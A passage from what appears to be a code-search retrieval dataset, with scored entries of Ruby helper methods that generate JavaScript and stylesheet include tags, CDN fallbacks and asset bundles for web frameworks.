Fancybox\n javascript_includes << [\"fancybox/jquery.fancybox-1.3.1.pack.js\", {:plugin=>\"hydra-head\"}] \n stylesheet_links << [\"/javascripts/fancybox/jquery.fancybox-1.3.1.css\", {:plugin=>\"hydra-head\"}] \n\n # For slider controls \n javascript_includes << [\"select_to_ui_slider/selectToUISlider.jQuery.js\", {:plugin=>\"hydra-head\"}] \n stylesheet_links << [\"/javascripts/select_to_ui_slider/css/ui.slider.extras.css\", {:plugin=>\"hydra-head\"}] \n stylesheet_links << [\"slider\", {:plugin=>\"hydra-head\"}] \n \n # This file contains the page initialization scripts for catalog edit views\n javascript_includes << [\"catalog/edit\", {:plugin=>\"hydra-head\"}]\n end",
"title": ""
},
{
"docid": "9dfdaff9fac6db8e037506b10c287ded",
"score": "0.5547142",
"text": "def javascript_include_tag(file_name)\n path_prefix = development? ? '/assets/' : '/js/'\n suffix = development? ? '' : \"-#{OctoFeed::VERSION}.min\"\n %(<script src=\"#{path_prefix}#{file_name}#{suffix}.js\"></script>)\nend",
"title": ""
},
{
"docid": "30fbb5e61ba6e8e6003463daef1f228d",
"score": "0.55348575",
"text": "def jquery_include_tags(options={})\n # Merge in options\n options = { :caching => RefinerySetting.find_or_set(:use_resource_caching, Rails.root.join('public', 'javascripts', 'cache').writable?),\n :google => RefinerySetting.find_or_set(:use_google_ajax_libraries, false),\n :jquery_ui => true\n }.merge(options)\n\n # render the tags normally unless\n unless options[:google] and !local_request?\n if options[:jquery_ui]\n javascript_include_tag \"jquery#{\"-min\" if Rails.env.production?}\", \"jquery-ui-custom-min\",\n :cache => (options[:caching] ? \"cache/jquery\" : nil)\n else\n javascript_include_tag \"jquery#{\"-min\" if Rails.env.production?}\"\n end\n else\n \"#{javascript_include_tag(\"http://www.google.com/jsapi\").gsub(\".js\", \"\")}\n <script type='text/javascript'>\n google.load('jquery', '1.4');\n #{\"google.load('jqueryui', '1.8');\" if options[:jquery_ui]}\n </script>\"\n end\n end",
"title": ""
},
{
"docid": "ec30e9f14c6d78d5d411ba40a24bbf8f",
"score": "0.5521453",
"text": "def bolt_config_javascript_includes\n %w[/bolt/javascripts/jquery /bolt/javascripts/custom /bolt/javascripts/backbone /bolt/javascripts/rails]\n end",
"title": ""
},
{
"docid": "afca90e49467297adb3de3df3586f66f",
"score": "0.54980636",
"text": "def javascript_include_tag_with_toolbawks_packer_additions(*sources)\n if ToolbawksPacker.enabled\n type = 'javascripts'\n \n begin\n sources = Engines::RailsExtensions::AssetHelpers.pluginify_sources(type, *sources)\n rescue\n # Engiens are not installed\n end\n \n sources.pop if sources.last.is_a?(Hash) # Remove the options if they are there\n sources.each { |source| ToolbawksPacker::Handler.add_source(type, javascript_path(source).gsub(/\\?.*/, '')) }\n return ''\n else\n javascript_include_tag_without_toolbawks_packer_additions(*sources)\n end\n end",
"title": ""
},
{
"docid": "e41bb65b16fd5f4003e30d9b4bfc45ca",
"score": "0.54652524",
"text": "def scripts\n scripts = []\n\n # Make sure library exists\n @library = :standalone unless File.exists?(\"src/lib/#{@library}.js\")\n\n # Add files\n scripts << \"bridge/#{@library}\"\n scripts.concat @core\n scripts.concat validator_files\n scripts << \"messages/errors.#{@language}\"\n scripts.concat @extensions.collect { |extension| \"extensions/#{extension}\" }\n\n # Expand paths\n scripts.collect { |s| File.join(@basedir, \"src\", \"#{s}.js\") }\n end",
"title": ""
},
{
"docid": "2a71470e0fbdfd29a4523e3973a9e1a8",
"score": "0.54547447",
"text": "def append_vendor_dependencies\n\t\t\t\t%w{underscore backbone marionette}.each do |lib|\n\t\t\t\t\tappend_to_file \"#{javascript_path}/application.js\" do\n\t\t\t\t\t\t\"\\n//= require #{lib}\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tappend_to_file \"#{javascript_path}/application.js\" do\n\t\t\t\t\t\"\\n//= require_tree ../../../vendor/assets/javascripts\"\n\t\t\t\tend\n\t\t\tend",
"title": ""
},
{
"docid": "6fc379b101d884b1907f37e82b823d98",
"score": "0.5451269",
"text": "def on_load_assets\n add_js('js/jquery-3.3.1.js')\n end",
"title": ""
},
{
"docid": "1cfeb6f83589ea86faee1b1baf35bee7",
"score": "0.5434998",
"text": "def include_javascripts(path)\n if AppConfig.minimize\n \"min/#{path}.js\"\n else\n javascript_list = Dir[\"#{RAILS_ROOT}/public/javascripts/#{path}/*.js\"]\n\n result = []\n javascript_list.each do |javascript|\n result << javascript.gsub(\"#{RAILS_ROOT}/public/javascripts/\", \"\")\n end\n \n return result\n end\n end",
"title": ""
},
{
"docid": "e9aba723bab0d1c5506e26960dc085fc",
"score": "0.54229534",
"text": "def javascripts\n scripts = []\n scripts << settings.javascripts.keys if settings.respond_to?('javascripts')\n scripts << @js if @js\n scripts.flatten.uniq.map do |js|\n \"<script src='#{path_to_script js.to_s}'></script>\"\n end.join\n end",
"title": ""
},
{
"docid": "3f082cb7b40d14de9b90180c993a5c0e",
"score": "0.5420779",
"text": "def javascript_auto_include_tags(options = {})\n options = {:auto => true}.update(options)\n ensure_resource_is_initialized(:javascript)\n autorequire(:javascript) if options[:auto]\n @javascripts.uniq.inject(\"\") do |buffer, js|\n buffer << javascript_include_tag(js) + \"\\n \"\n end\n end",
"title": ""
},
{
"docid": "58beb939abbce4ec7333f415c621347e",
"score": "0.5416158",
"text": "def netzke_js_include(params)\n res = []\n\n # ExtJS\n res << (params[:minified] ? \"#{Netzke::Core.ext_uri}/build/ext-all.js\" : \"#{Netzke::Core.ext_uri}/build/ext-all-debug.js\")\n\n # Ext I18n\n res << \"#{Netzke::Core.ext_uri}/build/classic/locale/locale-#{I18n.locale}\" if I18n.locale != :en\n\n # Netzke-related dynamic JavaScript\n res << netzke_ext_path\n\n javascript_include_tag(*res)\n end",
"title": ""
},
{
"docid": "034747fddc9910606542bbddf797dec6",
"score": "0.54087746",
"text": "def include_javascripts(path)\n if use_cache?\n \"min/#{path}.js\"\n else\n # Good for debugging\n javascript_list = Dir[\"#{RAILS_ROOT}/public/javascripts/#{path}/*.js\"]\n\n result = []\n javascript_list.each do |javascript|\n result << javascript.gsub(\"#{RAILS_ROOT}/public/javascripts/\", \"\")\n end\n \n return result\n end\n end",
"title": ""
},
{
"docid": "29b6ec513c5e85f97a6a12df2f79fb7c",
"score": "0.5401674",
"text": "def page_script(context={})\n \n [\"/js/micro.templating.js\",\n \"/entitymanagement/js/ysd.entity.management.js\",\n \"/entitymanagement/js/ysd.entity.management.hook.js\"] \n \n end",
"title": ""
},
{
"docid": "0f5ce24f5b30bd2af4dcb1c078e972e3",
"score": "0.53943354",
"text": "def javascript_include(filename, options={})\n if filename == :defaults\n render_default_javascripts(options)\n filename = \"defaults.js\"\n end\n unless filename =~ /^http/\n filename = \"#{@assets_directory}/javascripts/#{filename}\"\n end\n \"<script src='#{filename}' type='text/javascript' charset='utf-8'></script>\"\n end",
"title": ""
},
{
"docid": "c205bd9ff3594cdb5f8cf4dddeb4eb73",
"score": "0.53825116",
"text": "def javascripts(options={})\n [\n page_javascripts(options),\n javascript(\"application\")\n ].join(\"\\n\")\n end",
"title": ""
},
{
"docid": "29df73692596c3a79e645e9e147b72d5",
"score": "0.53752106",
"text": "def bootstrap_javascript_include_tag(name, options = {})\n bootstrap_j = 'bootstrap/bootstrap'\n bootstrap_j = bootstrap_j + '.min' if options[:compressed]\n\n if OFFLINE and !options[:force]\n return javascript_include_tag(bootstrap_j)\n else\n # Bootstrap do not offer way to check existing\n [ javascript_include_tag(bootstrap_javascript_url(name, options)),\n javascript_tag(\"typeof $().carousel == 'function' || document.write(unescape('#{javascript_include_tag(bootstrap_j).gsub('<','%3C')}'))\")\n ].join(\"\\n\").html_safe\n end\n end",
"title": ""
},
{
"docid": "d1a858d69e8494ed2b32cbd44c0c17d2",
"score": "0.53718287",
"text": "def vendor_js\n dist(/^vendor.*js$/)\n end",
"title": ""
},
{
"docid": "df075ca164b5cccebdb30988ef61f0fc",
"score": "0.5361505",
"text": "def calendar_date_select_javascripts(options = {})\n options.assert_valid_keys(:locale)\n files = [\"calendar_date_select/calendar_date_select_#{CalendarDateSelect.lib}\"]\n files << \"calendar_date_select/locale/#{options[:locale]}\" if options[:locale]\n files << \"calendar_date_select/#{CalendarDateSelect.format[:javascript_include]}\" if CalendarDateSelect.format[:javascript_include]\n files\n end",
"title": ""
},
{
"docid": "a926bff91a093838e42d7f12b23f2957",
"score": "0.53574634",
"text": "def generate_assets\n asset('js/rubikon.js', file('js/rubikon.js', true))\n super\nend",
"title": ""
},
{
"docid": "14052b31d621b1a8b54fe775b215fd63",
"score": "0.53573585",
"text": "def preload_javascript(opts)\n output = \"if (typeof CHANCE_SLICES === 'undefined') var CHANCE_SLICES = [];\"\n output += \"CHANCE_SLICES = CHANCE_SLICES.concat([\"\n output += @slices.map {|name, slice| \"'\" + slice[:css_name] + \"'\" }.join(\",\\n\")\n output += \"]);\"\n end",
"title": ""
},
{
"docid": "fe04885bff841dc0cac91bcd89053890",
"score": "0.5356675",
"text": "def include_jq4r\n javascript_include_tag 'jq4r'\n end",
"title": ""
},
{
"docid": "16fe4bfcb768be671c394a751198923a",
"score": "0.5349043",
"text": "def calendar_date_select_javascripts(options = {})\n options.assert_valid_keys(:locale)\n files = [\"calendar_date_select/calendar_date_select.#{CalendarDateSelect.lib}\"]\n files << \"calendar_date_select/locale/#{options[:locale]}\" if options[:locale]\n files << \"calendar_date_select/#{CalendarDateSelect.format[:javascript_include]}\" if CalendarDateSelect.format[:javascript_include]\n files\n end",
"title": ""
},
{
"docid": "7139411db2bbeff1e92d1bbd15a0d3e1",
"score": "0.53280455",
"text": "def scripts\n public_dir = Rails.root + 'public'\n\n script_files = []\n\n script_files << public_dir + 'vendor' + 'modernizr.js'\n script_files << public_dir + 'vendor' + 'jquery.js'\n script_files << public_dir + 'vendor' + 'rails.js'\n\n script_files << public_dir + 'javascripts' + 'application.js'\n\n script_files << addons.map(&:scripts)\n script_files << addon.scripts\n\n body = script_files.flatten.map do |script_file|\n <<-JS\n/**\n * START #{script_file}\n */\n\n#{script_file.read.strip}\n\n/**\n * END #{script_file}\n */\n JS\n end.join(\"\\n\" * 5)\n\n ScratchPad::StaticAssets.create assets_scripts_path(addon.machine_name).sub('/assets/', ''), body if config.perform_caching\n\n render :js => body\n end",
"title": ""
},
{
"docid": "0cce3d3c47705a8956ba2e204f06ba8f",
"score": "0.5320746",
"text": "def lightbox2_helpers_includes(*args)\n return \"\" if @lhs_already_included\n @lhs_already_included=true\n \n javascript_include_tag(*lightbox2_helpers_javascripts ) + \"\\n\" +\n stylesheet_link_tag(*lightbox2_helpers_stylesheets ) + \"\\n\"\n end",
"title": ""
},
{
"docid": "34c90cde3b4291f05903b79378f051e0",
"score": "0.5300848",
"text": "def bootstrap_js_include_tag use_cdn=true\n local_bs = javascript_include_tag 'bootstrap.js'\n if use_cdn\n # The version may include a maintenance release number\n version = Bootstrap::VERSION.split('.')[0..2].join('.')\n bs = (stylesheet_link_tag('bootstrap_import.css') + local_bs).gsub '<', '%3C'\n # Follow the bootstrap CDN pull with a test and fallback to the local version\n javascript_include_tag(\"//maxcdn.bootstrapcdn.com/bootstrap/#{version}/js/bootstrap.min.js\") +\n javascript_tag(%Q{\n if(typeof $().emulateTransitionEnd != 'function') {\n document.write(unescape('#{bs}'));\n }\n })\n else\n local_bs\n end\n end",
"title": ""
},
{
"docid": "30ac4a1496fd039fb4f5e13c6ea702e1",
"score": "0.5261268",
"text": "def bootstrap_javascript_include_tag(name, options = {})\n options.reverse_merge! :local_copy => false\n\n bootstrap_j = 'bootstrap/bootstrap'\n bootstrap_j = bootstrap_j + '.min' if options.delete(:compressed)\n\n if OFFLINE and !options.delete(:force)\n options.delete(:local_copy) # not used in OFFLINE mode\n return javascript_include_tag(bootstrap_j, options)\n else\n local_copy = options.delete(:local_copy)\n j = [ javascript_include_tag(bootstrap_javascript_url(name), options) ]\n if local_copy\n j << javascript_tag(\"typeof $().carousel == 'function' || document.write(unescape('#{javascript_include_tag(bootstrap_j, options).gsub('<','%3C')}'))\")\n end\n j.join(\"\\n\").html_safe\n end\n end",
"title": ""
},
{
"docid": "5e650d984ed94649fad11a0052dac20a",
"score": "0.5250893",
"text": "def inject_javascript\n insert_into_file \"app/assets/javascripts/application.js\", :after => '//= require_tree .' do\n \"\\n //include javascript for ezid\\n//= require hydra_ezid\"\n end\n end",
"title": ""
},
{
"docid": "bd6c1b9244e61c4e7cb7d41add79ea48",
"score": "0.52502614",
"text": "def insert_urtak_script!\n head.add_child(%Q{\n <script src=\"#{CLR}\" type=\"text/javascript\"></script>\n })\n end",
"title": ""
},
{
"docid": "4f933725b322b5c76b6ec45c1c399b6d",
"score": "0.5240383",
"text": "def javascripts\n list = File.expand_path(\"public/javascripts\")\n list_ary = Dir.entries(list).select{|x| x[0..0] != \".\"}\n list_ary.map!{|f| f.split(\".\")[0]}\n list_ary << [\"===\", \"#{list_ary.length} Javascripts\"]\n y list_ary.flatten!\n end",
"title": ""
},
{
"docid": "e7309e8ad17e48e2eef6552d1ce3b6cc",
"score": "0.52360815",
"text": "def javascript_include_tag(*sources)\n options = sources.extract_options!.stringify_keys\n path_options = options.extract!('protocol', 'extname').symbolize_keys\n copy_bower_files(\n sources.select { |source| source.match('bower_component') }\n )\n\n sources.uniq.map { |source|\n tag_options = {\n \"src\" => source.gsub('.tmp/', '')\n }.merge!(options)\n content_tag(:script, \"\", tag_options)\n }.join(\"\\n\").html_safe\n end",
"title": ""
},
{
"docid": "c6942c943d3481961731d6c8066ab118",
"score": "0.52322495",
"text": "def include_scriptaculous\n return if @included_scriptaculous\n add_javascript scriptaculous_js_url\n @included_scriptaculous = true\n end",
"title": ""
},
{
"docid": "e1e1b44b45c6cbe4ac705768171b59db",
"score": "0.52189016",
"text": "def javascript_include_bundles(bundles)\n output = \"\"\n bundles.each do |bundle|\n output << javascript_src_tag(\"bundle_#{bundle}\", {}) + \"\\n\"\n end\n output.html_safe\n end",
"title": ""
},
{
"docid": "c0a5cb92880e083090177040518dfb60",
"score": "0.5204822",
"text": "def greybox_include_tag(opts = {})\n opts[:gb_root] ||= \"/javascripts/greybox/\"\n javascript_tag { \"var GB_ROOT_DIR = \\\"#{opts[:gb_root]}\\\";\" }\n end",
"title": ""
},
{
"docid": "b6e447d5c990ca4f7f51ccaa5012359d",
"score": "0.5195924",
"text": "def javascript(files, options = {})\n files = [files].flatten\n files = resolve_bundle('javascripts', files) \n \n link = \"\"\n files.each do |name|\n file_name = !name.to_s.end_with?(\".js\") ? \"#{name}.js\" : \"#{name}\"\n resource = \"/javascripts/#{file_name}\"\n link += \"<script src=\\\"#{get_resource_root(resource)}#{resource}?#{configatron.mack.assets.stamp}\\\" type=\\\"text/javascript\\\"></script>\\n\"\n end\n return link\n end",
"title": ""
},
{
"docid": "a8ef4498b3e1249ab24f1d759d3c06d5",
"score": "0.5194484",
"text": "def javascripts(*files)\n options = (files.last.is_a? Hash) ? files.pop : {}\n \n options[:language] = 'javascript'\n options[:type] = 'text/javascript'\n \n src_files = @staticmatic.src_file_paths('js','coffee')\n output = \"\"\n\n files.each do |path|\n if path.to_s.match %r{^https?://}\n output << format_output(:script,path,options)\n else\n idx = src_files.index do |src|\n %w{coffee js}.map {|t| src.match /#{path.to_s}\\.#{t}$/ }.any?\n end\n output << format_output(:script,src_files[idx],options) unless idx.nil?\n end\n end\n output\n end",
"title": ""
},
{
"docid": "3164bb3a1c86a8b5a5cc92bdd805d409",
"score": "0.51888937",
"text": "def caseadilla_config_javascript_includes\n %w[caseadilla/caseadilla caseadilla/custom]\n end",
"title": ""
},
{
"docid": "004f750f1f6831f9a27325f44c56dc51",
"score": "0.51845795",
"text": "def bootstrap\n\n ret = []\n\n # Reference any external bootstrap scripts\n if (resources_names = target.config[:bootstrap])\n Array(resources_names).each do |resource_name|\n ret << %(<script src=\"#{sc_static(resource_name)}\" type=\"text/javascript\" ></script>)\n end\n end\n\n # Add preferred language definition, before other scripts...\n ret << %(<script type=\"text/javascript\">String.preferredLanguage = \"#{language}\";</script>)\n\n # Reference any inlined bootstrap scripts\n if (resources_names = target.config[:bootstrap_inline])\n Array(resources_names).each do |resource_name|\n ret << inline_javascript(resource_name)\n end\n end\n\n return ret * \"\\n\"\n end",
"title": ""
},
{
"docid": "30c7bbc1f40a16c13c263b579f9ea77f",
"score": "0.5168211",
"text": "def get_dependencies\n html = \"\"\n delimiter = \"\\n\\t\"\n if @additional_stylesheets\n for stylesheet in @additional_stylesheets\n \thtml << delimiter << stylesheet_link_tag(stylesheet.to_s, :media => \"all\")\n \tend\n \tend\n \tif @additional_javascripts\n \tfor script in @additional_javascripts\n html << delimiter << javascript_include_tag(script.to_s)\n \t end\n end\n \thtml\n end",
"title": ""
},
{
"docid": "4b3c297d95dcc7f2f0fb6de444d0dbf5",
"score": "0.5161439",
"text": "def content_for_head\n \"#{include_tag}\\n#{javascript}\"\n end",
"title": ""
},
{
"docid": "91e2e2ec0fbc39b6d8a7fbac094211a6",
"score": "0.5158126",
"text": "def rewrite_script_paths(body)\n body.gsub(%r%src=(\"|')/?javascripts/(.*)(\"|')%) { %|src=#{$1}%s#{$1}\"| % Rails.root.join(\"public/javascripts/#{$2}\") }\n end",
"title": ""
},
{
"docid": "acea131e51895fd00bb24f006f7514fa",
"score": "0.51555926",
"text": "def javascripts\n catalog_javascripts = javascript_include_tag \"application\"\n end",
"title": ""
},
{
"docid": "5948f90de97efb4f1af8f5a3c2193f58",
"score": "0.5151071",
"text": "def greybox_helpers(opts = {})\n opts[:ajs] ||= \"greybox/AJS.js\"\n opts[:ajs_fx] ||= \"greybox/AJS_fx.js\"\n opts[:gb_scripts] ||= \"greybox/gb_scripts.js\"\n opts[:gb_styles] ||= \"/javascripts/greybox/gb_styles.css\"\n \n ([opts[:ajs], opts[:ajs_fx], opts[:gb_scripts]].collect { |path| javascript_include_tag(path) } + \n [ stylesheet_link_tag(opts[:gb_styles]) ]\n ).join(\"\\n\")\n end",
"title": ""
},
{
"docid": "e7b0058a5226cecbbdf6ef56b95f227a",
"score": "0.51426935",
"text": "def javascripts(*files)\n relative_path = current_page_relative_path\n\n output = \"\"\n files.each do |file|\n file_str = file.to_s\n src = file_str.match(%r{^((\\.\\.?)?/|https?://)}) ? file_str : \"#{relative_path}javascripts/#{file_str}.js\"\n output << tag(:script, :language => 'javascript', :src => src, :type => \"text/javascript\") { \"\" }\n end\n output\n end",
"title": ""
},
{
"docid": "c2dfbf7559e00328f1acb0f4f81de5b0",
"score": "0.51351935",
"text": "def javascript_dependencies(common = true)\n capture do\n concat(javascript_essential_dependencies)\n\n concat(javascript_pack_tag('manageiq-ui-classic/globals.js'))\n concat \"\\n\"\n\n concat(javascript_pack_tag('manageiq-ui-classic/oldjs.js'))\n concat \"\\n\"\n\n concat(javascript_common_packs) if common\n end\n end",
"title": ""
},
{
"docid": "71f0ef9fb74a2047e43b491a768b0d53",
"score": "0.51351064",
"text": "def javascripts\n super + %w(js/cucumber.js)\nend",
"title": ""
},
{
"docid": "c1957486e298be85074eecc6b53a9a90",
"score": "0.51281774",
"text": "def javascript_include_bundles(bundles)\n output = \"\"\n \n bundles.each do |bundle|\n output << javascript_include_tag(\"bundle_#{bundle}\") + \"\\n\"\n end\n \n output.html_safe\n end",
"title": ""
},
{
"docid": "b3a8c29e49aa262613e73eb855634661",
"score": "0.51276994",
"text": "def html_boilerplate(foldername, type)\n <<-eos\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <title></title>\n <link rel=\"stylesheet\" href=\"css/#{foldername}_#{type}.css\">\n <script src=\"js/jquery.min.js\"></script>\n <script src=\"js/TweenMax.min.js\"></script>\n <script src=\"js/#{foldername}_#{type}.js\"></script>\n</head>\n<body>\n <!-- Start-of-the-Image-Tags -->\n<!-- End-of-the-Image-Tags -->\n\n <div id=\"overall_mask\"></div>\n\n <!-- Start-of-the-ISI -->\n <div id=\"isi\"></div>\n <!-- End-of-the-ISI -->\n</body>\n</html>\n eos\n end",
"title": ""
},
{
"docid": "b620ade5c48161afb616f73bd79c6e98",
"score": "0.5117634",
"text": "def google_analytics_include_tag\n return unless RAILS_ENV == \"production\"\n gaJsHost = \"#{(request.protocol == \"http://\") ? \"http://www.\" : \"https://ssl.\"}google-analytics.com/ga.js\"\n output = \"<script type=\\\"text/javascript\\\">\"\n # output += \"var gaJsHost = ((\\\"https:\\\" == document.location.protocol) ? \\\"https://ssl.\\\" : \\\"http://www.\\\");\"\n # output += \"var gaJsHost = \\\"#{gaJsHost}\\\";\"\n output += \"document.write(unescape(\\\"%3Cscript src='#{gaJsHost}' type='text/javascript'%3E%3C/script%3E\\\"));\"\n output += \"</script>\"\n output += \"<script type=\\\"text/javascript\\\">\"\n output += \"var pageTracker = _gat._getTracker(\\\"UA-4542563-2\\\");\"\n output += \"pageTracker._initData();\"\n output += \"pageTracker._trackPageview();\"\n output += \"</script>\"\n output += javascript_include_tag \"http://cetrk.com/pages/scripts/0009/9591.js\"\n end",
"title": ""
},
{
"docid": "5b0e1353eb8715d578a5273e4c58784a",
"score": "0.51172453",
"text": "def language_option\n answer = 'javascript'\n begin\n append_to_file \"app/assets/javascripts/routes.js.erb\", \"\\n\"\n rescue Exception\n answer = 'coffeescript'\n end\n answer\n end",
"title": ""
},
{
"docid": "74125edb003e30b85a211d378e4dcec4",
"score": "0.51147527",
"text": "def javascript_include_tag(*args)\n srcs, options = handle_srcs_options(args)\n options[:type] ||= \"text/javascript\"\n timestamp = options.delete(:timestamp)\n Array(srcs).collect do |src|\n #TODO: write sinatra helper to auto set env with Sinatra::Application.environment.to_s\n options[:src] = build_src_href(src, :default_path => \"javascripts\", :extension => \".js\", :timestamp => timestamp)\n tag(:script, options) { '' }\n end.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "fc04345014aa393bd15af15b61a2e327",
"score": "0.51094645",
"text": "def insert_scripts(response)\n scripts = \"<script src='/i18nfrontend/jquery.i18nfrontendOverlay.js'></script>\" + \n \"<script src='/i18nfrontend/jquery.i18nfrontend.js'></script>\"\n styles = \"<link href='/i18nfrontend/i18nfrontend.css' type='text/css' rel='stylesheet'>\"\n response.each{|body|\n body.gsub!(\"</head>\", styles + \"</head>\") unless body.nil?\n body.gsub!(\"</html>\", scripts + \"</html>\") unless body.nil?\n }\n end",
"title": ""
},
{
"docid": "32ab50122b1ca04719abaea95b522d75",
"score": "0.5096582",
"text": "def auto_javascript_include_tag\n auto_tag(:js) do |path|\n javascript_include_tag path\n end\n end",
"title": ""
},
{
"docid": "a5d32d843564061facc067ff1303c86a",
"score": "0.507909",
"text": "def javascripts(*files)\n relative_path = current_page_relative_path\n\n output = \"\"\n files.each do |file|\n file_str = file.to_s\n src = file_str.match(%r{^((\\.\\.?)?/|https?://)}) ? file_str : \"#{relative_path}javascripts/#{file_str}.js\"\n output << tag(:script, :language => 'javascript', :src => src, :type => \"text/javascript\") { \"\" }\n end\n output\n end",
"title": ""
},
{
"docid": "80fe5f5051528845846328cf46c9bfab",
"score": "0.50762045",
"text": "def add_admin_webpacker_assets\n return nil if options[:noauth] || options[:skip_javascript]\n\n template('app/javascript/packs/administrate.js', 'app/javascript/packs/administrate.js')\n copy_file('app/javascript/administrate/index.js', 'app/javascript/administrate/index.js')\n\n template('app/javascript/administrate/components/date_time_picker.js.tt', 'app/javascript/administrate/components/date_time_picker.js')\n template('app/javascript/administrate/components/table.js.tt', 'app/javascript/administrate/components/table.js')\n end",
"title": ""
},
{
"docid": "741599f60f385aa08858cfa6b4452cff",
"score": "0.50701624",
"text": "def javascript_includes(opts = {})\n collect_and_indent @javascripts, :javascript_include_tag,\n opts[:indent] || 4\n end",
"title": ""
},
{
"docid": "c47a1b41879b09d82930a66ff268e274",
"score": "0.5067953",
"text": "def setup_js\n enable_gem 'coffee-rails'\n\n replace_file 'app/assets/javascripts/application.js', <<-EOF.strip_heredoc\n //= require jquery\n //= require jquery_ujs\n //= require turbolinks\n //= require_tree .\n EOF\n\n mirror 'app/assets/javascripts/app.js.coffee'\n end",
"title": ""
},
{
"docid": "dcd3b0c78f2e003e6a2ac489108a7536",
"score": "0.5067184",
"text": "def rewrite_js(doc)\n doc.css('script').each {|node| node.remove }\n doc.css('head').each do |node|\n %w[/lib/javascripts/base.js javascripts/app.js].each do |src|\n script = doc.create_element('script',\n 'type' => 'text/javascript',\n 'src' => src)\n node.add_child(script)\n node.add_child(doc.create_text_node(\"\\n\"))\n end\n end\nend",
"title": ""
},
{
"docid": "dcd3b0c78f2e003e6a2ac489108a7536",
"score": "0.5067184",
"text": "def rewrite_js(doc)\n doc.css('script').each {|node| node.remove }\n doc.css('head').each do |node|\n %w[/lib/javascripts/base.js javascripts/app.js].each do |src|\n script = doc.create_element('script',\n 'type' => 'text/javascript',\n 'src' => src)\n node.add_child(script)\n node.add_child(doc.create_text_node(\"\\n\"))\n end\n end\nend",
"title": ""
},
{
"docid": "dcd3b0c78f2e003e6a2ac489108a7536",
"score": "0.5067184",
"text": "def rewrite_js(doc)\n doc.css('script').each {|node| node.remove }\n doc.css('head').each do |node|\n %w[/lib/javascripts/base.js javascripts/app.js].each do |src|\n script = doc.create_element('script',\n 'type' => 'text/javascript',\n 'src' => src)\n node.add_child(script)\n node.add_child(doc.create_text_node(\"\\n\"))\n end\n end\nend",
"title": ""
},
{
"docid": "fba4156a8c6c2fb955945124e7ace2ea",
"score": "0.5060466",
"text": "def build_footer\n insert_tag view_factory.footer\n div style: 'display: none' do\n active_admin_config.registered_js.each do |js|\n text_node(javascript_include_tag('/'+js[:file]))\n end\n end\n end",
"title": ""
},
{
"docid": "823a13659d30ff1594a4d1e84166a9b6",
"score": "0.50586414",
"text": "def include_individual_javascripts(bundles=[])\n tags = []\n bundles.each do |bundle| \n tags.concat bundle.files.map { |js| javascript_include_tag(js.path) }\n end\n tags.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "0e525b3d7371fe5e31e8f86e5ea8ba45",
"score": "0.5056373",
"text": "def get_srcs page, url\n scripts = {:external => [], :internal => '', :cdata => ''}\n page.css(\"script\").each do |s|\n next if s['data-cdata']\n if s['src']\n external_script = is_external(s['src']) ? s[\"src\"] : s[\"src\"].gsub(@base,'').rchomp('/')\n scripts[:external] << external_script\n elsif s.text.to_s.length != 0\n file_name = 'static/js/inline_js.js'\n inline_script = s.text.gsub(URLUtil::base_host(@base), URLUtil::base_host(@link_base))\n dir = File.dirname(file_name)\n FileUtils.mkdir_p(dir) unless File.directory?(dir)\n open(file_name, 'a') { |f|\n f.puts \"/*#{url}*/\\n\"\n f.puts s.text + \"\\n\\n\"\n }\n if inline_script.include? 'CDATA'\n scripts[:cdata] << inline_script\n else\n scripts[:internal] << inline_script\n end\n end\n s.remove\n end\n @external_scripts << scripts[:external]\n scripts\n end",
"title": ""
},
{
"docid": "12f1f727e07a8d57259c44028fb780e7",
"score": "0.50554055",
"text": "def page_script_settings(**opt)\n asset_overrides = {\n OverrideScriptSettings: script_settings,\n Image_placeholder_asset: asset_path(ImageHelper::PLACEHOLDER_IMAGE_ASSET)\n }.merge!(**opt)\n <<~HEREDOC.squish.html_safe\n <script type=\"text/javascript\">\n window.ASSET_OVERRIDES = #{js(asset_overrides)};\n </script>\n HEREDOC\n end",
"title": ""
},
{
"docid": "6df1d94eac8254186e3d7ea4d2d98c71",
"score": "0.50534004",
"text": "def javascripts *scripts\n \tjavascripts = (@js ? @js + settings.javascripts + scripts : settings.javascripts + scripts).uniq\n \t\n \tjavascripts.map { |script|\n \t\t\"<script src=\\\"/#{script}\\\"></script>\"\n \t}.join\n\tend",
"title": ""
},
{
"docid": "45608c0138726c39b1d2fcbabf614b29",
"score": "0.5048614",
"text": "def simplify_js(page)\n index = 0\n page.css('script[src]').each do |js|\n filename = index.to_s.rjust(2, '0') + '_' + URI(js['src']).path.split('/').last\n `cd var/old/js; wget --quiet -O #{filename} #{js['src']}`\n js.remove\n index += 1\n end\n\n `cat var/old/js/* > var/new/simplified.js`\n\n new_link = Nokogiri::XML::Node.new 'script', page\n new_link['src'] = '/simplified.js'\n new_link.parent = page.at_css('body')\n\n `cd var/new/; yuicompressor simplified.js > simplified.min.js`\nend",
"title": ""
},
{
"docid": "a13c48d0379a1a54e0cb57896632ee59",
"score": "0.5048001",
"text": "def js_included\n res = \"\"\n \n # Prevent re-including code that was already included by the parent\n singleton_methods(false).include?(\"include_js\") && include_js.each do |path|\n f = File.new(path)\n res << f.read << \"\\n\"\n end\n\n res\n end",
"title": ""
},
{
"docid": "f749249787190ac919261ecd80cd0640",
"score": "0.5042967",
"text": "def html_boilerplate(foldername, type)\n <<-eos\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <title></title>\n <link rel=\"stylesheet\" href=\"css/#{foldername}_#{type}.css\">\n <script src=\"js/jquery.min.js\"></script>\n <script src=\"js/TweenMax.min.js\"></script>\n <script src=\"js/#{foldername}_#{type}.js\"></script>\n</head>\n<body>\n\n <div id=\"overall_mask\"></div>\n\n <!-- Start-of-the-Image-Tags -->\n <!-- End-of-the-Image-Tags -->\n\n <!-- Start-of-the-ISI -->\n <div id=\"isi\"></div>\n <!-- End-of-the-ISI -->\n\n</body>\n</html>\neos\n end",
"title": ""
},
{
"docid": "4400f82014f6b24e303efd8e50ebf0e6",
"score": "0.504229",
"text": "def netzke_js\n res = []\n if Netzke::Core.javascript_on_main_page\n res << content_for(:netzke_js_classes)\n res << \"\\n\"\n end\n res << \"Ext.onReady(function(){\"\n res << content_for(:netzke_on_ready)\n res << \"});\"\n\n javascript_tag res.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "0fa993c0e1711b92ff54cc8b70b17a53",
"score": "0.50343525",
